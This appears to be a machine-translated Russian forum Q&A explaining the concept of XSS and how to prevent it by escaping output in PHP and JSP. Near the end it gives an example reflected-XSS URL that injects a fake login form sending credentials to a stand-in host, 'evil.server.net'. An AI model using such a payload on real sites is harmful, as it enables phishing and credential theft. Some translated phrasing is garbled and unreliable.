Каково общее понятие позади XSS?

Поскольку ответы о том, как XSS может быть вредоносным, уже даны, я опубликую только два хороших представления о флэш-памяти по XSS и отвечу на следующий вопрос, оставшийся без ответа:

как я могу предотвратить появление XSS на моих веб-сайтах?

Вот два хороших кратких представления о XSS:

• https://www.virtualforge.com/vmovie/xss_lesson_1/xss_selling_platform_v1.0.swf
• https://www.virtualforge.com/vmovie/xss_lesson_2/ xss_selling_platform_v2.0.swf

Что касается предотвращения использования XSS, вам нужно экранировать HTML любой пользовательский ввод, когда они собираются повторно отобразить на странице. Сюда входят заголовки запроса, параметры запроса и любой сохраненный ввод, управляемый пользователем, который должен обслуживаться из базы данных. Особенно необходимо экранировать <, > , " и ', поскольку это может привести к искажению окружающего HTML-кода, в котором этот ввод

Практически любая технология просмотра предоставляет встроенные способы выхода из HTML (или XML, этого также достаточно) сущностей .

В PHP это можно сделать с помощью htmlspecialchars () ]. Например,

<input name="foo" value="<?php echo htmlspecialchars($foo); ?>">

Если вам нужно также избежать одиночных кавычек с этим, вам нужно будет указать аргумент ENT_QUOTES , также см. Вышеупомянутую документацию PHP.

В JSP вы можете сделать это с помощью JSTL или fn: escapeXml () . Например,

<input name="foo" value="<c:out value="${param.foo}" />">

или

<input name="foo" value="${fn:escapeXml(param.foo)}">

Обратите внимание, что на самом деле вам не нужно экранировать XSS во время обработки запроса, а только во время обработки ответа.Экранирование во время обработки запроса не требуется, и оно может рано или поздно искажать вводимые пользователем данные (и как администратор сайта вы также хотели бы знать , что на самом деле имеет данный пользователь введен, чтобы при необходимости вы могли совершать социальные действия). Что касается SQL-инъекций, просто избегайте его только во время обработки запроса в момент, когда данные собираются сохранить в базе данных.

Проблемы XSS-атак больше связаны с рыболовством. Проблема в том, что на сайт, которому доверяет клиент, может быть внедрен код, который ведет на сайт, созданный злоумышленником с определенной целью. Например, кража конфиденциальной информации.

Итак, в XSS-атаках злоумышленники не попадают в вашу базу данных и не связываются с ней. Он играет с чувством клиента, что этот сайт безопасен и каждая ссылка на нем указывает на безопасное место.

Это лишь первый шаг настоящей атаки - вовлечь клиента во враждебную среду.

Приведу краткий пример. Если, например, банковское учреждение размещает на своей странице чат-бокс и они не защищают меня от XSS-атак, я могу крикнуть: «Эй, зайдите по этой ссылке и введите свои пароли и номер кредитной карты для проверки безопасности!» ... И вы знаете, куда ведет эта ссылка, верно?

Вы можете предотвратить XSS-атаки, убедившись, что на вашей странице не отображается ничего, исходящее от ввода пользователя, без экранирования тегов html. Специальные символы должны быть экранированы, чтобы они не мешали разметке ваших html-страниц (или любой другой технологии, которую вы используете). Есть много библиотек, которые предоставляют это, включая библиотеку Microsoft AntiXSS.

Представьте себе веб-форум. XSS-атака может заключаться в том, что я делаю сообщение с некоторым javascript. Когда вы переходите на страницу, ваша веб-страница загружается, запускает js и делает то, что я сказал. Поскольку вы перешли на страницу и, скорее всего, вошли в систему, мой javascript будет делать все, на что у вас есть привилегии, например, создавать сообщения, удалять свои сообщения, вставлять спам, показывать всплывающие окна и т.д.

Итак, реальная концепция XSS заключается в том, что скрипт выполняется в вашем пользовательском контексте, что является повышением привилегий. Вы должны быть внимательны к тому, чтобы в любом месте вашего приложения, принимающего пользовательский ввод, любые скрипты и т.д. внутри него были экранированы, чтобы гарантировать, что XSS не может быть выполнен.

Вы должны следить за вторичными атаками. Представьте, если я помещу вредоносный скрипт в свое имя пользователя. Он может попасть на сайт без проверки, а затем вернуться обратно без проверки, но тогда любая страница, просматриваемая с моим именем пользователя, фактически выполнит вредоносный скрипт в пользовательском контексте.

Эскейп пользовательского ввода. Не разворачивайте свой код для этого. Проверяйте все, что входит, и все, что выходит.

я не понимаю, как JS/VBscript может причинить столько вреда!

Хорошо. Предположим, у вас есть сайт, и сайт обслуживается с http://trusted.server.com/thesite. Допустим, на сайте есть окно поиска, и при поиске url становится: http://trusted.server.com/thesite?query=somesearchstring.

Если сайт решит не обрабатывать поисковую строку и выведет ее в результатах, типа "Вы искали "somesearchstring" и не получили никаких результатов", то любой может внедрить на сайт произвольный html. Например:

http://trusted.server.com/thesite?query=<form action="http://evil.server.net">username: <input  name="username"/><br/>password: <input name="pw" type="password"/><br/><input type="sumbit"/></form>

Итак, в этом случае сайт послушно покажет фальшивую форму входа на странице результатов поиска, и если пользователь ее отправит, он отправит данные на злой недоверенный сервер. Но пользователь этого не видит, особенно если url очень длинный, он увидит только первое "но" и решит, что имеет дело с trusted.server.com.

Вариации на эту тему включают внедрение тега